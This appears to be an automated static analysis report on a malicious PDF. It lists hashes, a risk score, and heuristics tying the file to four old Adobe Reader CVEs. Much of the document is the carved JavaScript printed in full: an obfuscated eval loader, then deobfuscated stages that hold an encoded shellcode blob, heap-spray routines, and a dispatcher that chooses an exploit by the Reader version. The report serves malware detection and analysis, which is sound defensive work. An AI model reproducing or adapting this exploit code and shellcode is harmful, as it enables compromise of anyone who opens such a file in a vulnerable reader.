Malicious PDF — malware analysis report

Static analysis result for SHA-256 9d114438be9e7f10…

MALICIOUS

PDF

33.0 KB Created: 2010-07-25 10:32:51 First seen: 2012-10-22
MD5: 28386a3c61bfb02a95ed9d9a21e51891 SHA-1: 4028f32c0ba888184400b5d89788233b9c97c3dc SHA-256: 9d114438be9e7f1042ff3c5aa037bda22e53e36df9d62cb525c1f69c192cd996
448 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to exploit PDF reader vulnerabilities or download and execute further malicious content. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7FEC 796 bytes
SHA-256: 8d564693dd25d8b6472a8a449ae0e3860ec79361bad0482d9c1bf3b967bf5770
Preview script
First 1,000 lines of the extracted script
ptnv = (function(){return this;}).call(null);
kvhw = new Date();
var pf='';
var mgvt = 'e'+(parseInt(kvhw.getFullYear())-1)+'a'+pf+'l';
hsp=ptnv[mgvt.replace('2009','v')];
function scfc(){
	var zh='',dq=[];
	var pf='';
	hsp('va'+pf+'r fbiu=th'+pf+'i'+pf+'s');
	hsp('va'+pf+'r miso=Str'+pf+'ing.f'+pf+'romC'+pf+'harCode');
	var opa='prod' + kvhw.getFullYear()+'er';
	var fmv = fbiu[opa.replace('2010','uc')];
	var ay = '' + kvhw.getFullYear() + pf + 'i'+pf+'t';
	var ulij = 's' + ay.replace('2010','pl');
	var nz='2010';
	nz = nz.replace(kvhw.getFullYear(),'');
	hsp('va'+nz+'r n' + pf + 'r=[' + fmv + nz + ']');
	var mr = nr;
	ndcz='le'+pf+'ng'+pf+'th';
	var eu = mr[ndcz] / 2;
	for (var nh = 0; nh < eu; nh++) {
		zh += miso(mr[nh+eu] - mr[nh]);
	}
	return zh;
	}
	var ovcp=scfc();
	hsp(ovcp);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3629 bytes
SHA-256: 5d30a0b33436ec19786d9d00e343c1ca1b883ea5f9d71bd6c6f3ea23bbb6cd79
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var atz='%u9090%u9090%u16eb%u38b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ufd34%ue2aa%uc3fa%ue5e8%uffff%u14ff%ufcf1%ufdfd%u7ca3%ua111%ufdfc%u74fd%u701a%uedb2%u9270%ucca9%uaa26%uaeac%uaeae%uaeae%uaeae%uaea8%u95ae%ufcf9%ufdfd%uaba8%u95ae%u9392%ufdfd%u8895%u918f%ua990%u7395%uf3b3%u1511%ufdb5%ufdfd%u15ad%ufd81%ufdfd%u2d02%u397e%u95f5%u12b2%uf8b2%u15ad%ufd91%ufdfd%u2d02%u3d78%uea88%ua997%u0ea4%u9557%u038f%ueb4e%ue015%ufdfd%uadfd%uac15%ufdfd%u02fd%uae2d%u0397%u7495%ufc92%u1540%ufdf5%ufdfd%u15ad%ufdc1%ufdfd%u2d02%ucc9d%u993d%uad76%u76cd%uf1af%uaf76%u76e9%ud58f%ue544%ufdfd%uccfd%ucc02%u513d%u9cc1%uff81%uddd1%u323c%ufcf0%u1f3a%u7c0d%ua602%ub741%u7697%uedbf%uef76%u2488%ub974%ue1d9%u3e9c%u769d%ud991%u76d9%uc1b8%ua976%u85f8%u17fc%ub776%u76e5%udda7%u16fc%uc91e%u76b4%u76c9%u13fc%u02cc%u3dcc%u5101%u3d79%ufa89%u323c%ufcf0%u163a%uc609%ud981%u88d5%u761c%ud9a7%u16fc%u769b%ub6f1%ua776%ufce1%u7616%u76f9%u15fc%ub974%ue1d9%u3f9c%ufdf5%u1215%u0203%u9502%u8989%uc78d%ud2d2%u8a9a%ucece%u9ed3%ud387%u9e9e%u99d2%u8dd3%u8d95%u9bc2%ucfc0%ucdcd%u98db%ucec0%u00fd';function aemb(asn,etlk){while(asn.length*2<etlk){asn+=asn;}
asn=asn.substring(0,etlk/2);return asn;}
function oe(){var jc=new Array();var pudh=0x0c0c0c0c;var addr=0x400000;var payload=unescape(atz);var sc_len=payload.length*2;var etlk=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=aemb(yarsp,etlk);var count2=(pudh-0x400000)/addr;for(var count=0;count<count2;count++){jc[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(atz);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(atz);var hWq500CN=payload.length*2;var etlk=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=aemb(yarsp,etlk);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){oe();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(atz);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3625 bytes
SHA-256: 2bd18e8710cf30630f3ffc19e2dd962c95be5e925a2659832e46cde29d23c817
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var atz='%u9090%u9090%u16eb%u38b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ufd34%ue2aa%uc3fa%ue5e8%uffff%u14ff%ufcf1%ufdfd%u7ca3%ua111%ufdfc%u74fd%u701a%uedb2%u9270%ucca9%uaa26%uaeac%uaeae%uaeae%uaeae%uaea8%u95ae%ufcf9%ufdfd%uaba8%u95ae%u9392%ufdfd%u8895%u918f%ua990%u7395%uf3b3%u1511%ufdb5%ufdfd%u15ad%ufd81%ufdfd%u2d02%u397e%u95f5%u12b2%uf8b2%u15ad%ufd91%ufdfd%u2d02%u3d78%uea88%ua997%u0ea4%u9557%u038f%ueb4e%ue015%ufdfd%uadfd%uac15%ufdfd%u02fd%uae2d%u0397%u7495%ufc92%u1540%ufdf5%ufdfd%u15ad%ufdc1%ufdfd%u2d02%ucc9d%u993d%uad76%u76cd%uf1af%uaf76%u76e9%ud58f%ue544%ufdfd%uccfd%ucc02%u513d%u9cc1%uff81%uddd1%u323c%ufcf0%u1f3a%u7c0d%ua602%ub741%u7697%uedbf%uef76%u2488%ub974%ue1d9%u3e9c%u769d%ud991%u76d9%uc1b8%ua976%u85f8%u17fc%ub776%u76e5%udda7%u16fc%uc91e%u76b4%u76c9%u13fc%u02cc%u3dcc%u5101%u3d79%ufa89%u323c%ufcf0%u163a%uc609%ud981%u88d5%u761c%ud9a7%u16fc%u769b%ub6f1%ua776%ufce1%u7616%u76f9%u15fc%ub974%ue1d9%u3f9c%ufdf5%u1215%u0203%u9502%u8989%uc78d%ud2d2%u8a9a%ucece%u9ed3%ud387%u9e9e%u99d2%u8dd3%u8d95%u9bc2%ucfc0%ucdcd%u98db%ucec0%u00fd';function aemb(asn,etlk){while(asn.length*2<etlk){asn+=asn;}
asn=asn.substring(0,etlk/2);return asn;}
function oe(){var jc=new Array();var pudh=0x0c0c0c0c;var addr=0x400000;var payload=unescape(atz);var sc_len=payload.length*2;var etlk=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=aemb(yarsp,etlk);var count2=(pudh-0x400000)/addr;for(var count=0;count<count2;count++){jc[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(atz);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(atz);var hWq500CN=payload.length*2;var etlk=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=aemb(yarsp,etlk);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){oe();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(atz);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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